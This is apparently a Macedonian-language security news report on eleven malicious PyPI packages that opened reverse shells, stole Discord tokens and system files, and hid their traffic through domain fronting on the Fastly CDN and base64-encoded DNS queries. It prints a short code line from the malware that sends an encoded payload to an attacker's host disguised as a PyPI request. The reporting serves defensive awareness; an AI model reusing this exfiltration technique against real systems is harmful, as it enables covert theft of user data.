Во каталогот PyPI се идентификувани злонамерни библиотеки кои користат PyPI CDN за да го сокријат каналот за комуникација

Во директориумот PyPI (Python Package Index), беа идентификувани 11 пакети кои содржат злонамерен код. Пред да се идентификуваат проблемите, пакетите беа преземени вкупно околу 38 илјади пати. Откриените малициозни пакети се забележливи по нивната употреба на софистицирани методи за криење на каналите за комуникација со серверите на напаѓачите.

• importantpackage (6305 преземања), important-package (12897) - воспостави врска со надворешен сервер под маската на поврзување со pypi.python.org за да обезбеди пристап до системот (обратна школка) и ја искористи програмата trevorc2 за да го скрие канал за комуникација.
• pptest (10001), ipboards (946) - користеше DNS како комуникациски канал за пренос на информации за системот (во првиот пакет името на домаќинот, работниот директориум, внатрешната и надворешната IP адреса, во вториот - корисничкото име и името на домаќинот) .
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) - го идентификуваше токенот на услугата Discord во системот и го испрати до надворешен домаќин.
• trrfab (287) - го испрати идентификаторот, името на домаќинот и содржината на /etc/passwd, /etc/hosts, /home до надворешниот хост.
• 10Cent10 (490) - воспостави обратна врска со школка со надворешен домаќин.
• yandex-yt (4183) - прикажа порака дека системот е компромитиран и пренасочена на страница со дополнителни информации за понатамошни дејства издадени преку nda.ya.ru (api.ya.cc).

Посебна забелешка е методот за пристап до надворешни хостови што се користат во важните пакети и пакетите со важни пакети, кои ја користеле мрежата за испорака на содржини Fastly што се користи во директориумот PyPI за да ја сокријат нивната активност. Всушност, барањата беа испратени до серверот pypi.python.org (вклучувајќи го наведувањето на името python.org во SNI внатре во барањето HTTPS), но заглавието на HTTP „Домаќин“ го вклучуваше името на серверот контролиран од напаѓачите (сек. напред.io. global.prod.fastly.net). Мрежата за испорака на содржина испрати слично барање до серверот кој напаѓа, користејќи ги параметрите на TLS конекцијата до pypi.python.org при пренос на податоци.

Инфраструктурата на PyPI се напојува од мрежата за испорака на содржини Fastly, која користи прокси прокси Varnish за кеширање на типични барања, а исто така користи обработка на TLS сертификат на ниво на CDN, наместо на крајни сервери, за препраќање на HTTPS барања преку прокси. Без оглед на целниот хост, барањата се испраќаат до прокси, кој го одредува саканиот хост користејќи го заглавието на HTTP „Домаќин“, а имињата на домените на домаќинот се врзани за IP-адресите на CDN-балансерот на оптоварување кои се типични за сите клиенти на Fastly.

Серверот на напаѓачите се регистрира и со CDN Fastly, кој обезбедува бесплатни планови за сите, па дури и дозволува анонимна регистрација. Вреди да се одбележи дека за испраќање барања до жртвата при креирање на „обратна школка“, се користи и шема, но иницирана од страната на домаќинот на напаѓачот. Однадвор, интеракцијата со серверот на напаѓачите изгледа како легитимна сесија со директориумот PyPI, шифрирана со помош на сертификат PyPI TLS. Слична техника, позната како „фронтирање на домен“, претходно беше активно користена за да се скрие името на домаќинот при заобиколување на блокирањето, користејќи ја можноста обезбедена во некои CDN мрежи за пристап до HTTPS со означување на фиктивен хост во SNI и всушност пренесување на името на баран хост во заглавието на HTTP-домаќин во TLS сесија.

За да се скрие злонамерната активност, пакетот TrevorC2 дополнително се користеше за да се направи интеракција со серверот слична на редовната веб-навигација, на пример, злонамерните барања беа испратени под маската на преземање на сликата „https://pypi.python.org/images/ guid=” со кодирање на информации во параметар на водич. URL = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(URL, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Пакетите pptest и ipboards користеа поинаков пристап за сокривање на мрежната активност, врз основа на кодирање корисни информации во барањата до серверот DNS. Злонамерниот софтвер пренесува информации со извршување на барања за DNS како „nu4timjagq4fimbuhe.example.com“, во кој податоците што се пренесуваат до контролниот сервер се кодираат со користење на форматот base64 во името на поддоменот. Напаѓачот ги прима овие пораки со контролирање на серверот DNS за доменот example.com.

Извор: opennet.ru